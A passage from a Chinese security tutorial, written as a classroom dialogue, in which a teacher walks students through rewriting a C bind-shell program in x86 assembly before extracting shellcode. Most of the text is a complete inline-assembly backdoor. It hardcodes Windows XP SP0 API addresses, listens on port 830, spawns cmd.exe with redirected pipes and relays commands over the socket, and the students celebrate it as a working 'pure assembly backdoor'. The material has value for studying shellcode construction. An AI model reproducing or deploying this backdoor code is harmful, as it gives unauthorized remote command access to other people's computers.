3.4.1 转换成汇编
老师说:“我们还是和以前一样,先根据功能写出汇编,再提取ShellCode。”
“哦,这样有点麻烦!”玉波有点不情愿。
“虽然这样比较麻烦,但能让我们深刻理解系统是如何执行程序的。以后再讲提取的改进方法吧!”老师说道,“首先,我们把双管道后面程序pipe2.cpp改写成汇编。”
“第一、我们先不考虑通用性。把所有要使用的函数地址都找出来,修改那个地址查找程序——GetAddr.cpp,查找pipe2.cpp中要用的函数地址。在Windows XP SP0下,程序GetBindAddr.cpp的执行结果如图3-23。”
“这里改成用XP系统了啊?”大家觉得奇怪,“之前都是Windows 2000的嘛!”
“这里换个系统,是不要让大家对系统版本有依赖性。其实,前面我们讨论的方法都是通用的。”老师说道,“所以无论是Win2000还是XP,除地址不同外,后面的方法是完全一样的。好,我们把找到的函数地址抄下来。如下:”
CreatePipe = //x77e5727a
CreateProcessA = //x77e41bb8
PeekNamedPipe = //x77e97624
WriteFile = //x77e59d8c
ReadFile = //x77e58b82
ExitProcess = //x77e55cb5
socket = //x71a23c22
bind = //x71a23ece
listen = //x71a25de2
accept = //x71a2868d
send = //x71a21af4
recv = //x71a25690
“在汇编程序中,依次将函数的地址保存如下:”
mov eax,0x77e5727a
mov [ebp+4], eax; CreatePipe
mov eax,0x77e41bb8
mov [ebp+8], eax; CreateProcessA
mov eax,0x77e97624
mov [ebp+12], eax; PeekNamedPipe
mov eax,0x77e59d8c
mov [ebp+16], eax; WriteFile
mov eax,0x77e58b82
mov [ebp+20], eax; ReadFile
mov eax,0x77e55cb5
mov [ebp+24], eax; ExitProcess
mov eax,0x71a241da
mov [ebp+28], eax; WSAStartup
mov eax,0x71a23c22
mov [ebp+32], eax; socket
mov eax,0x71a23ece
mov [ebp+36], eax; bind
mov eax,0x71a25de2
mov [ebp+40], eax; listen
mov eax,0x71a2868d
mov [ebp+44], eax; accept
mov eax,0x71a21af4
mov [ebp+48], eax; send
mov eax,0x71a25690
mov [ebp+52], eax; recv
“以后我们如果要换一个系统执行,只需将这里的地址值改一下就行了。”老师说道。
“有没有通用的方法呢?”宇强问,“每次改还是有点麻烦。”
“当然有啦!别急,我们会在以后讲解。”老师笑着说,“而现在,我们仿造Windows函数调用的流程,写出我们的汇编代码。”
“由C程序得到汇编代码的关键,一是将参数入栈,二是CALL 调用函数的地址。如果有所遗忘,请大家复习上节课的笔记。”
“源程序的第一句指令,是执行WSAStartup(0x202, &ws)。我们按照函数调用流程,首先将参数从右至左依次压入栈中。”
“后一个参数是‘&ws’,表示一个地址。因为‘ws’以后不会用了,所以我们就随便压个地址,比如esp的值;第一个参数是0x202,我们直接push 0x202;因为WSAStartup的地址保存在[ebp+28]中,所以我们再 call [ebp+28] 就实现了调用,像下面这样,简单吧!”
push esp
push 0x202
call [ebp + 28] //WSAStartup地址
“然后 socket(2,1,6) 也类似,先把6、1、 2依次入栈,最后call socket的地址。”
;socket(2,1,6)
push 6
push 1
push 2
call [ebp + 32]
mov ebx, eax ; save socket to ebx
“怎么知道 socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 是 socket(2,1,6) 呢?”古风不解的问。
“嗯,第一种方法我们可以查看宏定义里面的值,但比较麻烦;第二种方法就是,我们在VC中按F10单步调试高级语言写成的pipe2C.cpp,在执行 socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 语句时,就可以看到入栈情况。如图3-24。”
“哦!果然是6、1、2依次入栈啊!”大家啧啧称奇。
“这是种很好的方法,”老师说道,“在不知道参数怎么压的时候,就看看高级语言程序是怎么执行的。”
“好,我们继续。bind()那句高级语言实现如下:”
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
“这个函数有点麻烦,压的参数是怎么得到的呢?”玉波问道。
“我们还是借助于高级语言吧!在对比中学习更利于理解和提高。调试到bind( )那句函数时,如图3-25。”
“高级语言执行这句时,首先是0x10入栈,说明sizeof(server)其实就是0x10。”
“嗯,这个参数简单!”
“第二个参数‘&server’是sockaddr结构的地址。在sockaddr结构中,包括了绑定的协议、IP、端口号等值。和在堆栈中构造字符串一样,我们也在栈中构造出sockaddr的结构,那么esp就是sockaddr结构的地址了。”
“哎哟,困难来了!字符串的值好构造,但sockaddr结构的值在堆栈中怎么赋呢?”古风着急的问。
“呵呵,不要急!我们还是在C程序下通过调试观察sockaddr赋值的情况吧!如图3-26。”
“我们来看看执行完对sockaddr结构的赋值后Server在内存中的值究竟是多少!”
“哦?如何看呢?”
“我们在内存窗口中看。在菜单栏上点鼠标右键,在弹出菜单中选“Debug”就会出现Debug工具栏,如图3-27”
“我们在Debug工具栏中点中‘Memory’按钮,如图3-28。”
“这样就会弹出内存窗口,如图3-29。我们在内存窗口中输入 server 就会显示出server的值:02 00 03 3E 00 00 00 00,看右下方的内存窗口。”
“从图中可看出,如下执行后其实就是得到了02 00 03 3E 00 00 00 00!” 宇强兴冲冲的说。
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY
“对!知道了确切要赋的值,我们就依葫芦画瓢吧! push 0x0000,push 0x0000,push 0x3E030002 就在堆栈中构造出了sockaddr结构的值,而且esp就正好是结构的地址。我们把它保存给esi作为第二个参数压入堆栈。”
“好了,剩下就轻松了,最后一个参数是‘socket’。上面执行了socket( )后,我们把socket的值保存在了ebx中,所以将ebx压入就可以了。”
“最后call调用函数。bind函数地址存放在[ebp + 36]中。合起来就像下面这样。”
;bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi //先构造server
push edi
push edi
mov eax,0x3E030002
push eax ; port 830 AF_INET
mov esi, esp //把server地址赋给esi
push 0x10 ; length
push esi ; &server
push ebx ; socket
call [ebp + 36] ; bind
“嗯!有意思!” 玉波咂咂嘴说道。
“ok,理解了思路就很简单吧?”老师说,“后面用同样的方法将各个函数调用完。不知道数据怎么赋值时,就参看C程序的执行,可以得到我们的pipe2ASM.cpp程序。”
__asm
{
push ebp;
sub esp, 80;
mov ebp,esp;
//把要用到的函数地址存起来——以下都是XP SP0
mov eax,0x77e5727a
mov [ebp+4], eax; CreatePipe
mov eax,0x77e41bb8
mov [ebp+8], eax; CreateProcessA
mov eax,0x77e97624
mov [ebp+12], eax; PeekNamedPipe
mov eax,0x77e59d8c
mov [ebp+16], eax; WriteFile
mov eax,0x77e58b82
mov [ebp+20], eax; ReadFile
mov eax,0x77e55cb5
mov [ebp+24], eax; ExitProcess
mov eax,0x71a241da
mov [ebp+28], eax; WSAStartup
mov eax,0x71a23c22
mov [ebp+32], eax; socket
mov eax,0x71a23ece
mov [ebp+36], eax; bind
mov eax,0x71a25de2
mov [ebp+40], eax; listen
mov eax,0x71a2868d
mov [ebp+44], eax; accept
mov eax,0x71a21af4
mov [ebp+48], eax; send
mov eax,0x71a25690
mov [ebp+52], eax; recv
mov eax,0x0
mov [ebp+56],0
mov [ebp+60],0
mov [ebp+64],0
mov [ebp+68],0
mov [ebp+72],0
LWSAStartup:
; WSAStartup(0x202, DATA)
sub esp, 400
push esp
push 0x202
call [ebp + 28]
socket:
;socket(2,1,6)
push 6
push 1
push 2
call [ebp + 32]
mov ebx, eax ; save socket to ebx
LBind:
;bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi
push edi
push edi
mov eax,0x3E030002
push eax ; port 830 AF_INET
mov esi, esp
push 0x10 ; length
push esi ; &server
push ebx ; socket
call [ebp + 36] ; bind
LListen:
;listen(listenFD,2)
inc edi
inc edi
push edi ;2
push ebx ;socket
call [ebp + 40] ;listen
LAccept:
;accept(listenFD,(sockaddr *)&server,&iAddrSize)
push 0x10
lea edi,[esp]
push edi
push esi ;&server
push ebx ;socket
call [ebp + 44] ;accept
mov ebx, eax ;save newsocket to ebx
Createpipe1:
;CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
xor edi,edi
inc edi
push edi
xor edi,edi
push edi
push 0xc ;pipeattr
mov esi, esp
push edi ;0
push esi ;pipeattr1
lea eax, [ebp+60] ;&hWritePipe1
push eax
lea eax, [ebp+56] ;&hReadPipe1
push eax
call [ebp+4]
CreatePipe2:
;CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
push edi ;0
push esi ;pipeattr2
lea eax,[ebp+68] ;hWritePipe2
push eax
lea eax, [ebp+64] ;hReadPipe2
push eax
call [ebp+4]
CreateProcess:
;ZeroMemory TARTUPINFO,10h PROCESS_INFORMATION 44h
sub esp, 0x80
lea edi, [esp]
xor eax, eax
push 0x80
pop ecx
rep stosd //清空s?弞,?? i
;si.dwFlags
lea edi,[esp]
mov eax, 0x0101
mov [edi+2ch], eax;
;si.hStdInput = hReadPipe2 ebp+64
mov eax,[ebp+64]
mov [edi+38h],eax
;si.hStdOutput si.hStdError = hWritePipe1 ebp+60
mov eax,[ebp+60]
mov [edi+3ch],eax
mov eax,[ebp+60]
mov [edi+40h],eax
;cmd.exe
mov eax, 0x00646d63
mov [edi+64h],eax ;cmd
;CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)
lea eax, [esp+44h]
push eax ;&pi
push edi ;&si
push ecx ;0
push ecx ;0
push ecx ;0
inc ecx
push ecx ;1
dec ecx
push ecx ;0
push ecx ;0
lea eax,[edi+64h] ;"cmd"
push eax
push ecx ;0
call [ebp+8]
loop1:
;while1
;PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
sub esp,400h ;
mov esi,esp ;esi = Buff
xor ecx, ecx
push ecx ;0
push ecx ;0
lea edi,[ebp+72] ;&lBytesRead
push edi
mov eax,400h
push eax ;1024
push esi ;Buff
mov eax,[ebp+56]
push eax ;hReadPipe1
call [ebp+12]
mov eax,[edi]
test eax,eax
jz recv_command
send_result:
;ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0)
xor ecx,ecx
push ecx ;0
push edi ;&lBytesRead
push [edi] ;hReadPipe1
push esi ;Buff
push [ebp+56] ;hReadPipe1
call [ebp+20]
;send(clientFD,Buff,lBytesRead,0)
xor ecx,ecx
push ecx ;0
push [edi] ;lBytesRead
push esi ;Buff
push ebx ;clientFD
call [ebp+48]
jmp loop1
recv_command:
;recv(clientFD,Buff,1024,0)
xor ecx,ecx
push ecx
mov eax,400h
push eax
push esi
push ebx
call [ebp+52]
//lea ecx,[edi]
mov [edi],eax
;WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0)
xor ecx,ecx
push ecx
push edi
push [edi]
push esi
push [ebp+68]
call [ebp+16]
jmp loop1
end:
}
“每一个函数的执行都有详细的对应解释,大家下来可对照着参看,”老师说道,“这里我们编译、执行,然后Telnet 830端口。效果如图3-30。”
“哇赛!成功了!纯汇编后门成功了 !”同学们欢呼到,“太爽了!”
“完成了汇编,那接下来我们应该作什么呢?”老师问道。
“还用说吗?提取ShellCode啦!”台下齐声回答。
“对!”